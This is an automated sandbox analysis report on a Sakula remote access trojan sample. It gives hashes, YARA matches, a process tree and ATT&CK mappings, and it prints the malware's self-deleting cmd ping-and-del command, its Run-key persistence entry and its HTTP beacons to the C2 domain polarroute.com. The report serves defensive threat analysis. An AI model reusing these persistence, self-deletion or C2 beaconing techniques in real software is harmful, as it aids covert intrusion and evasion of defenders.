sakula | 84c00741099c035fb5059cdb3da09afdc6b64d3b6433bbaca4e4a454ccff239a

General

Target

441c92fe90adf185d627410be0a9e0488e70afd4.exe
Size

140KB
MD5

2cbb6c2d3a076aa2193f20ec11b87cc5
SHA1

441c92fe90adf185d627410be0a9e0488e70afd4
SHA256

84c00741099c035fb5059cdb3da09afdc6b64d3b6433bbaca4e4a454ccff239a
SHA512

d5545484d339cde6264fac132a7524b2bd60a78b8641fd55a7734466eb473b027fceb12332136f608c25c573a50b50321f5925d475eb6102213b9c439e69537c
SSDEEP

1536:6QFl29mEkE0L1rDEKrxZKF2zf9g2Pl7W/MwbxMX+mdz30rtr8gjmy9xNDCkr+:x29DkEGRQixVSjLa130BYgjmy9T7+

Score

10^/10

sakula discovery persistence rat trojan upx

Malware Config

Extracted

Family

sakula

C2

www.polarroute.com

Signatures

Sakula
Sakula is a remote access trojan with various capabilities.
trojan rat sakula
Sakula family
sakula

Sakula payload 5 IoCs

resource	yara_rule
behavioral1/memory/1520-0-0x0000000000400000-0x0000000000425000-memory.dmp	family_sakula
behavioral1/files/0x0007000000018710-2.dat	family_sakula
behavioral1/memory/1520-7-0x0000000000400000-0x0000000000425000-memory.dmp	family_sakula
behavioral1/memory/1396-9-0x0000000000400000-0x0000000000425000-memory.dmp	family_sakula
behavioral1/memory/1520-10-0x0000000000400000-0x0000000000425000-memory.dmp	family_sakula

Deletes itself 1 IoCs

pid	Process
2868	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1396	MediaCenter.exe

Loads dropped DLL 1 IoCs

pid	Process
1520	441c92fe90adf185d627410be0a9e0488e70afd4.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\MicroMedia = "C:\\Users\\Admin\\AppData\\Local\\Temp\\MicroMedia\\MediaCenter.exe"	441c92fe90adf185d627410be0a9e0488e70afd4.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1520-0-0x0000000000400000-0x0000000000425000-memory.dmp	upx
behavioral1/files/0x0007000000018710-2.dat	upx
behavioral1/memory/1520-7-0x0000000000400000-0x0000000000425000-memory.dmp	upx
behavioral1/memory/1396-9-0x0000000000400000-0x0000000000425000-memory.dmp	upx
behavioral1/memory/1520-10-0x0000000000400000-0x0000000000425000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	441c92fe90adf185d627410be0a9e0488e70afd4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MediaCenter.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2868	cmd.exe
2984	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2984	PING.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeIncBasePriorityPrivilege	1520	441c92fe90adf185d627410be0a9e0488e70afd4.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1520 wrote to memory of 1396	1520	441c92fe90adf185d627410be0a9e0488e70afd4.exe	30
PID 1520 wrote to memory of 1396	1520	441c92fe90adf185d627410be0a9e0488e70afd4.exe	30
PID 1520 wrote to memory of 1396	1520	441c92fe90adf185d627410be0a9e0488e70afd4.exe	30
PID 1520 wrote to memory of 1396	1520	441c92fe90adf185d627410be0a9e0488e70afd4.exe	30
PID 1520 wrote to memory of 2868	1520	441c92fe90adf185d627410be0a9e0488e70afd4.exe	32
PID 1520 wrote to memory of 2868	1520	441c92fe90adf185d627410be0a9e0488e70afd4.exe	32
PID 1520 wrote to memory of 2868	1520	441c92fe90adf185d627410be0a9e0488e70afd4.exe	32
PID 1520 wrote to memory of 2868	1520	441c92fe90adf185d627410be0a9e0488e70afd4.exe	32
PID 2868 wrote to memory of 2984	2868	cmd.exe	34
PID 2868 wrote to memory of 2984	2868	cmd.exe	34
PID 2868 wrote to memory of 2984	2868	cmd.exe	34
PID 2868 wrote to memory of 2984	2868	cmd.exe	34

C:\Users\Admin\AppData\Local\Temp\441c92fe90adf185d627410be0a9e0488e70afd4.exe
"C:\Users\Admin\AppData\Local\Temp\441c92fe90adf185d627410be0a9e0488e70afd4.exe"
1⤵
- Loads dropped DLL
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1520
- C:\Users\Admin\AppData\Local\Temp\MicroMedia\MediaCenter.exe
  C:\Users\Admin\AppData\Local\Temp\MicroMedia\MediaCenter.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1396
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 & del /q "C:\Users\Admin\AppData\Local\Temp\441c92fe90adf185d627410be0a9e0488e70afd4.exe"
  2⤵
  - Deletes itself
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2868
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2984

Network

DNS

www.polarroute.com

MediaCenter.exe

Remote address:

8.8.8.8:53

Request

www.polarroute.com

IN A

Response

www.polarroute.com

IN A

13.248.169.48

www.polarroute.com

IN A

76.223.54.146
POST

http://www.polarroute.com/newimage.asp?imageid=krphqapq-1444825459&type=0&resid=259503934

MediaCenter.exe

Remote address:

13.248.169.48:80

Request

POST /newimage.asp?imageid=krphqapq-1444825459&type=0&resid=259503934 HTTP/1.1
User-Agent: iexplorer
Host: www.polarroute.com
Content-Length: 176
Cache-Control: no-cache
POST

http://www.polarroute.com/newimage.asp?imageid=krphqapq-1444825459&type=0&resid=259528317

MediaCenter.exe

Remote address:

13.248.169.48:80

Request

POST /newimage.asp?imageid=krphqapq-1444825459&type=0&resid=259528317 HTTP/1.1
User-Agent: iexplorer
Host: www.polarroute.com
Content-Length: 176
Cache-Control: no-cache
POST

http://www.polarroute.com/newimage.asp?imageid=krphqapq-1444825459&type=0&resid=259557895

MediaCenter.exe

Remote address:

13.248.169.48:80

Request

POST /newimage.asp?imageid=krphqapq-1444825459&type=0&resid=259557895 HTTP/1.1
User-Agent: iexplorer
Host: www.polarroute.com
Content-Length: 176
Cache-Control: no-cache
POST

http://www.polarroute.com/newimage.asp?imageid=krphqapq-1444825459&type=0&resid=259591108

MediaCenter.exe

Remote address:

13.248.169.48:80

Request

POST /newimage.asp?imageid=krphqapq-1444825459&type=0&resid=259591108 HTTP/1.1
User-Agent: iexplorer
Host: www.polarroute.com
Content-Length: 176
Cache-Control: no-cache
DNS

www.northpoleroute.com

MediaCenter.exe

Remote address:

8.8.8.8:53

Request

www.northpoleroute.com

IN A

Response

13.248.169.48:80

http://www.polarroute.com/newimage.asp?imageid=krphqapq-1444825459&type=0&resid=259503934

http

MediaCenter.exe

583 B
172 B
5
4

HTTP Request

POST http://www.polarroute.com/newimage.asp?imageid=krphqapq-1444825459&type=0&resid=259503934
13.248.169.48:80

http://www.polarroute.com/newimage.asp?imageid=krphqapq-1444825459&type=0&resid=259528317

http

MediaCenter.exe

583 B
172 B
5
4

HTTP Request

POST http://www.polarroute.com/newimage.asp?imageid=krphqapq-1444825459&type=0&resid=259528317
13.248.169.48:80

http://www.polarroute.com/newimage.asp?imageid=krphqapq-1444825459&type=0&resid=259557895

http

MediaCenter.exe

629 B
172 B
6
4

HTTP Request

POST http://www.polarroute.com/newimage.asp?imageid=krphqapq-1444825459&type=0&resid=259557895
13.248.169.48:80

http://www.polarroute.com/newimage.asp?imageid=krphqapq-1444825459&type=0&resid=259591108

http

MediaCenter.exe

583 B
172 B
5
4

HTTP Request

POST http://www.polarroute.com/newimage.asp?imageid=krphqapq-1444825459&type=0&resid=259591108

8.8.8.8:53

www.polarroute.com

dns

MediaCenter.exe

64 B
96 B
1
1

DNS Request

www.polarroute.com

DNS Response

13.248.169.48

76.223.54.146
8.8.8.8:53

www.northpoleroute.com

dns

MediaCenter.exe

68 B
141 B
1
1

DNS Request

www.northpoleroute.com

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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\Users\Admin\AppData\Local\Temp\MicroMedia\MediaCenter.exe

Filesize
140KB

MD5
f8c78d5068a00f8bd792feef75e8a33a

SHA1
0a235c9c2833c724c175b06dad13e708e182dace

SHA256
84f66bb53cc6827ff8266a9dec88717c0461f20f9e5ca9df497bc8047cb4decc

SHA512
350573937579b6f13aa9a0fefd3d91d8c7735e9b0e1b52031b27f63a29994c7cfaec7303ccdcecc33eee62415022b846475e70262257eff4217d8fa6ce2f181f

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memory/1396-9-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

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memory/1520-0-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

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memory/1520-6-0x0000000000230000-0x0000000000255000-memory.dmp

Filesize
148KB

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memory/1520-7-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

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memory/1520-8-0x0000000000230000-0x0000000000255000-memory.dmp

Filesize
148KB

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memory/1520-10-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Request

HTTP Request

HTTP Request

DNS Request

DNS Response

DNS Request

MITRE ATT&CK Enterprise v15

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